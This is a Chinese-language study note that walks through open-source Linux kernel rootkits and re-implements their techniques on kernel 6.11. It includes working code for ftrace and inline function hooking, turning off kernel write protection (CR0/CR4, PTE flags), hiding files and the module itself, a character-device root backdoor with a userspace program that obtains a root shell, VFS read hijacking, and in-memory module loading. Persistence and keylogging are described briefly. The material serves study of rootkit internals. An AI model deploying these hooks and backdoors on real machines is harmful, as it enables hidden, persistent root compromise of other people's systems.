# kernel rookit 案例閱讀 contributed by < `rota1001` > 以下有些使用與上面重複的手法就不再提及了 ## 參考資料 https://github.com/milabs/awesome-linux-rootkits https://richardweiyang-2.gitbook.io/kernel-exploring ## 實驗環境 若未提及則為以下環境: ``` $ uname -a Linux rota1001 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:20:50 UTC 2 x86_64 x86_64 x86_64 GNU/Linux ``` 另外,在測試階段會使用用 buildroot 編譯出來的 linux 6.11.0 作業系統。 原本是這樣,但是我後來發現我的核心映像檔是可以在以下路徑找到: ``` /boot/vmlinuz-`uname-r` ``` 於是可以直接用 qemu 跑起來: ``` buildroot login: root # uname -r 6.11.0-25-generic # uname -a Linux buildroot 6.11.0-25-generic #25~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apx ``` ## caraxes > https://github.com/ait-aecid/caraxes 這個專案做的是在核心中去 hook `sys_getdents64` 來隱藏檔案。 ### ftrace hooking > [using-ftrace-to-hook-to-functions](https://www.kernel.org/doc/html/v6.11/trace/ftrace-uses.html#using-ftrace-to-hook-to-functions) 註冊一個 callback function,在執行某個函式之前去修改暫存器的值,以達到 hook 函式的效果,這個方法不需要去改 syscall table,所以不需要去寫 cr0。 ```cpp hook->ops.func = fh_ftrace_thunk; hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS | FTRACE_OPS_FL_RECURSION | FTRACE_OPS_FL_IPMODIFY; err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0); ... err = register_ftrace_function(&hook->ops); ``` 首先會用 `ftrace_set_filter_ip` 篩選出哪些函數要被 hook,然後用 `register_ftrace_function` 去註冊。 這個 `ops` 是一個 `ftrace_ops` 結構體,去設定被 hook 的函式被呼叫的時候要呼叫哪個 callback function,然後設定 `flags`,這些 `flags` 有以下意義: - `FTRACE_OPS_FL_SAVE_REGS`:讓 callback function 可以讀寫暫存器 - `FTRACE_OPS_FL_RECURSION`:讓 callback function 中不會遞迴觸發 callback function - `FTRACE_OPS_FL_IPMODIFY`:可以修改 ip(就是 program counter) callback function 是以下這個形狀: ```cpp void callback_func(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *op, struct pt_regs *regs); ``` 其中 `parent_ip` 是這個函式被從哪裡呼叫的,可以用這個來判斷是不是在這個核心模組被呼叫的: ```cpp if (!within_module(parent_ip, THIS_MODULE)) regs->ip = (unsigned long)hook->function; ``` ### hook_sys_getdents64 如何去隱藏檔案呢?一個 `linux_dirent` 對應到的是一個檔案,裡面有一個元素是 `d_reclen` 代表這個檔案的長度。在走訪一個目錄下所有檔案的時候會用這個數字來找到下一個檔案,所以只要去修改上一個檔案的 `d_reclen` 就能讓使用者找不到這個檔案(是在回傳給使用者的地方做修改,而不是真的在硬碟上做修改),如果這個檔案在最前面的話,就會把後面所有的檔案做前移。 ### 隱藏核心模組 就是把內嵌在這個核心模組結構體的 `list_head` 從 `module_list` 裡面去除掉。至於 `show` 的話就是把它重新加回來。 ```cpp struct list_head *prev_module = NULL; void hide_module(void) { if (!prev_module) { prev_module = THIS_MODULE->list.prev; list_del(&THIS_MODULE->list); } } void show_module(void) { if (prev_module) { list_add(&THIS_MODULE->list, prev_module); prev_module = NULL; } } ``` 這裡用 VFS 界面來做實驗: ```cpp ssize_t test_read(struct file *file, char __user *buf, size_t, loff_t *off) { hide_module(); return 0; } ssize_t test_write(struct file *file, const char __user *buf, size_t len, loff_t *off) { show_module(); return len; } ``` 一開始掛載之後,是看得到核心模組的: ``` $ lsmod | grep wp wp 20480 0 ``` 然後對它進行 `read` 之後,會發現看不到了: ``` $ cat /dev/test $ lsmod | grep wp $ ``` 再對它進行 `write` 之後它又出現了: ``` $ echo "yee" > /dev/test $ lsmod | grep wp wp 20480 0 ``` ## rooty > https://github.com/jermeyyy/rooty ### hijack 這裡拿來 hook 函式的方式不是去改 syscall table,而是直接改機器碼。 ```cpp memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE); *(unsigned long *)&n_code[1] = (unsigned long)new; ``` 上面的 `n_code` 是會被寫入函數開頭的位置的,去進行反組譯會發現: ``` 0: 68 00 00 00 00 push 0x0 5: c3 ret ``` 它其實是把函式指標 push 進去堆疊中,再 ret,所以防寫保護關掉之後在架構正確的情況下是一個很通用的 hook。 以下我在 linux 6.11 成功的把它實作出來。rooty 針對的是 x86 32 位元的架構,而我則是在 64 位元上,再加上新版本有其他分頁機制,所以要稍做修改。 #### 關閉防寫保護 要寫 shellcode 的話必須關掉防寫保護,在 linux 5.3 之後需要自己去寫 cr0,然而我跟著 lkmpg 去做之後發現它會出錯,於是找到了這個 [patch](https://lore.kernel.org/all/20211126123446.32324-59-andrew.cooper3@citrix.com/),在清除 cr0 的 WP 之前要先清掉 cr4 的 CET,所以我寫了以下幾個函式: ```cpp static unsigned long cr4; static void init_cr4(void) { asm volatile("mov %%cr4,%0": "=r"(cr4): : ); } static void disable_wp(void) { unsigned long cr0; cr0 = read_cr0(); if (cr4 & X86_CR4_CET) asm volatile("mov %0,%%cr4" : :"r"(cr4 & ~X86_CR4_CET): "memory"); asm volatile("mov %0,%%cr0" : : "r"(cr0 & ~X86_CR0_WP) : "memory"); } static void enable_wp(void) { unsigned long cr0; cr0 = read_cr0(); asm volatile("mov %0,%%cr0" : : "r"(cr0 | X86_CR0_WP) : "memory"); if (cr4 & X86_CR4_CET) asm volatile("mov %0,%%cr4" : :"r"(cr4): "memory"); } ``` 首先初始化 `cr4`,然後用 `disable_wp` 和 `enable_wp` 把需要關閉防寫保護的操作包住,這樣就能成功關掉防寫保護。 #### 寫 shellcode 首先用 pwntools 去看一下 x86 要怎麼做到一樣的事情: ```python from pwn import * code = asm(""" movabs rax, 0x0807060504030201; push rax; ret ; """,arch="amd64") print(bytes(code)) # b'H\xb8\x01\x02\x03\x04\x05\x06\x07\x08P\xc3' ``` 所以我們只要在 `0102030405060708` 的部份填上地址就好,於是修改成這樣的實作: ```cpp memcpy(n_code, "H\xb8\x00\x00\x00\x00\x00\x00\x00\x00P\xc3", HIJACK_SIZE); *(unsigned long *)&n_code[2] = (unsigned long)new; memcpy(o_code, target, HIJACK_SIZE); printk("org_target: %lx\n", *(unsigned long *)target); disable_wp(); memcpy(target, n_code, HIJACK_SIZE); enable_wp(); ``` #### demo 我建了兩個函式 `A`、`B`: ```cpp void A(int x) { printk("funcA: x = %x\n", x); } void B(int x) { printk("funcB: x = %x\n", x); } ``` 並且在 `hello_init` 裡去做 hook,然後呼叫 `A` 函式: ```cpp static int __init hello_init(void) { init_cr4(); hook_start(A, B); A(13); return 0; } ``` 掛載之後,成功的呼叫了 `B` 函式: ``` [ 2440.989418] funcB: x = d ``` ### find syscall table from idt table 這個作法我想現在已經不適用了,原因是因為現在的系統呼叫已經不用 `sys_call_table` 了。這個方法首先去找 idt table,其中第 0x80 項放的是 syscall handler 的相關資訊,下面是 32 位元的實作,我在 `asm/desc_defs.h` 中找到一個 `gate_offset` 函數可以把函數地址求出來,32 位元和 64 位元都適用。接下來,它去尋找機器碼中有沒有 `\xff\x14\x85` 這個字串,下面去看一下這個字串的意義。 ```cpp unsigned long *find_sys_call_table ( void ) { char **p; unsigned long sct_off = 0; unsigned char code[255]; asm("sidt %0":"=m" (idtr)); memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt)); sct_off = (idt.off2 << 16) | idt.off1; memcpy(code, (void *)sct_off, sizeof(code)); p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3); if ( p ) return *(unsigned long **)((char *)p + 3); else return NULL; } ``` 我們使用 `pwntools` 去反組譯一下: ```python from pwn import * print(disasm(b"\xff\x14\x85\x01\x02\x03\x04", arch="amd64")) # 0: ff 14 85 01 02 03 04 call QWORD PTR [rax*4+0x4030201] ``` 這看起來就是一個陣列的讀取,合理猜測這裡在讀 syscall table,所以可以直接把地址讀出來。 ### 提權後門 使用 `commit_cred` 可以去改變權限,我這裡寫了一個核心模組,透過 character device 去進行提權: ```cpp ssize_t wp_read(struct file *file, char __user *buf, size_t, loff_t *off) { struct cred *new_cred = prepare_creds(); if (!new_cred) return -ENOMEM; new_cred->uid.val = 0; new_cred->gid.val = 0; new_cred->euid.val = 0; new_cred->egid.val = 0; new_cred->fsuid.val = 0; new_cred->fsgid.val = 0; new_cred->suid.val = 0; new_cred->sgid.val = 0; commit_creds(new_cred); return 0; } ``` 然後在使用者空間執行這樣的程式: ```cpp #include <stdio.h> #include <fcntl.h> #include <unistd.h> int main() { printf("%d\n", getuid()); int fd = open("/dev/wp", O_RDONLY); int n = read(fd, NULL, NULL); printf("%d\n", getuid()); execve("/bin/sh", 0, 0); } ``` 然後就拿到 root 了: ```cpp └─[$] <> ./user 1000 0 # whoami root ``` ### hijack vfs with path 這個方法是使用 `flip_open` 去取得特定路徑的檔案結構體,並且劫持其中的 VFS 界面,這裡做個簡單的復現。未方便起見,我先把創建 character device 的方式寫成這樣的函式: ```cpp int create_dev(char *name, int *pmajor, struct class **pcls, struct file_operations *ops) ``` 首先我創建了兩個 `read` 函式,並且讓受害者的 `read` 函式一開始是 `victim_read`: ```cpp ssize_t victim_read(struct file *file, char __user *buf, size_t, loff_t *off) { printk(KERN_ALERT "victim\n"); return 0; } ssize_t evil_read(struct file *file, char __user *buf, size_t, loff_t *off) { printk(KERN_ALERT "evil\n"); return 0; } static struct file_operations victim_ops = { .read = victim_read }; ``` 原本 `rooty` 專案裡面是去劫持 `readdir`,這只有在比較舊的版本裡有(我大致看 4.* 就修掉了),現在 `file_operations` 裡已經沒有這個操作了,於是這裡我去劫持 `read`。 ```cpp unsigned long get_vfs_read(char *path) { void *ret; struct file *filep; if ( IS_ERR(filep = filp_open(path, O_RDONLY, 0))) return PTR_ERR(filep); ret = filep->f_op->read; filp_close(filep, 0); return ret; } ``` 然後,我創建叫做 `victim` 的 character device,獲取他的 `read` 函式,並且進行 hook: ```cpp! static int __init hello_init(void) { init_cr4(); int ret = create_dev(VICTIM, &victim_major, &victim_cls, &victim_ops); if (ret < 0) return ret; unsigned long victim_read_pos = get_vfs_read("/dev/" VICTIM); if (victim_read_pos < 0) { destroy_dev(VICTIM, victim_major, victim_cls); return victim_read_pos; } printk("victim_read_pos: %lx\n", victim_read_pos); hook_start(victim_read_pos, evil_read); return 0; } ``` #### demo 掛載核心模組之後,進行 `cat /dev/victim`,然後用 `dmesg` 看看: ``` [ 326.094116] device /dev/victim is created [ 326.094126] victim_read_pos: ffffffffc22d8b00 [ 388.945643] evil ``` 可以發現 `read` 被成功 hook 了。 ### keylogger `register_keyboard_notifier` 可以去註冊一個鍵盤事件的 callback function,用他來進行按鍵側錄。 ## krf > https://github.com/trailofbits/krf 這個專案在做 [fault injection](https://en.wikipedia.org/wiki/Fault_injection),也就是通過讓系統呼叫機率性回傳錯誤結果來測試軟體,它用的手法和上面提到的差不多。使用 kprobe 去找到 `kallsyms_lookup_name`,並且用它去找到 `sys_call_table`,hook 的方式是去修改 `sys_call_table`,並且使用 VFS 界面去做控制。我想這個方法同樣現在不適用了(因為是改 `sys_call_table`),不過可以用 ftrace hook 或是修改機器碼做到同樣事情。 ## Reptile > https://github.com/f0rb1dd3n/Reptile ### hook 他的 hook 方式是寫機器碼,不一樣的地方是它可以跳回去。要完成這個功能就必須要另外分配一段可執行的區域,[這裡](https://github.com/f0rb1dd3n/Reptile/blob/master/kernel/khook/engine.c#L132)使用 `set_memroy_x` 來設定: ```cpp set_memory_x = khook_lookup_name("set_memory_x"); if (set_memory_x) { int numpages = round_up(KHOOK_STUB_TBL_SIZE, PAGE_SIZE) / PAGE_SIZE; set_memory_x((unsigned long)khook_stub_tbl, numpages); } ``` ### persistence 將啟動腳本放到 `/etc/init.d`,並請使用 `update-rc.d` 去做安裝。 ### 動態加載核心模組 在 [`kmatryoshka.c`](https://github.com/f0rb1dd3n/Reptile/blob/master/kernel/kmatryoshka/kmatryoshka.c#L56) 中,它先把一段數據解密之後,使用 `sys_init_module` 去加載核心模組。 這裡根據 [linux_kernel_hacking](https://github.com/xcellerator/linux_kernel_hacking/blob/15304817e912a526ce57336011a1cc71aea953b2/2_MemoryLoading/2.0_no_arguments/load.c) 去使用 `init_module` 加載核心模組: 使用以下命令可以將核心模組輸出成二進制資料: ``` $ xxd -i wp.ko unsigned char wp_ko[] = { 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xff, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, ... }; unsigned int wp_ko_len = 396496; ``` 於是另外寫一個 `user.c` 來加載核心模組: ```cpp #include <linux/module.h> #include <syscall.h> #include <stdio.h> const char args[] = "\0"; int main() { init_module(wp_ko, wp_ko_len, args); } ``` 然後在 `Makefile` 裡面將 `wp.ko` 行程的二進制資料陣列與 `user.c` 的程式碼一起編譯: ``` user: module xxd -i wp.ko >> tmp.c cat user.c >> tmp.c gcc tmp.c -o user rm tmp.c ``` 然後就可以執行 `./user`,並且看到核心模組成功被掛載: ``` $ sudo ./user $ sudo lsmod | grep wp wp 16384 0 ``` ## puszek-rootkit > https://github.com/Eterna1/puszek-rootkit 它很酷的點是它寫唯讀區域的方式。 ### 修改 pte 讀寫權限 它是得到特定地址的 pte,把它設成可讀寫的,在較新的核心版本也適用: ```cpp //set a page writeable int make_rw(unsigned long address) { unsigned int level; pte_t *pte = lookup_address(address, &level); pte->pte |= _PAGE_RW; return 0; } //set a page read only int make_ro(unsigned long address) { unsigned int level; pte_t *pte = lookup_address(address, &level); pte->pte = pte->pte & ~_PAGE_RW; return 0; } ``` 我用這個去改寫我的 `hook_start` 函式: ```diff void hook_start(void *target, void *new) { ... + make_rw(target); - disable_wp(); memcpy(target, n_code, HIJACK_SIZE); + make_ro(target); - enable_wp(); ... } ``` 去做上面做的實驗,發現成功的 hook 了: ``` [126084.453713] pte: ffff9e577200f6c0 [126084.453744] funcB: x = c [126084.453746] hello ```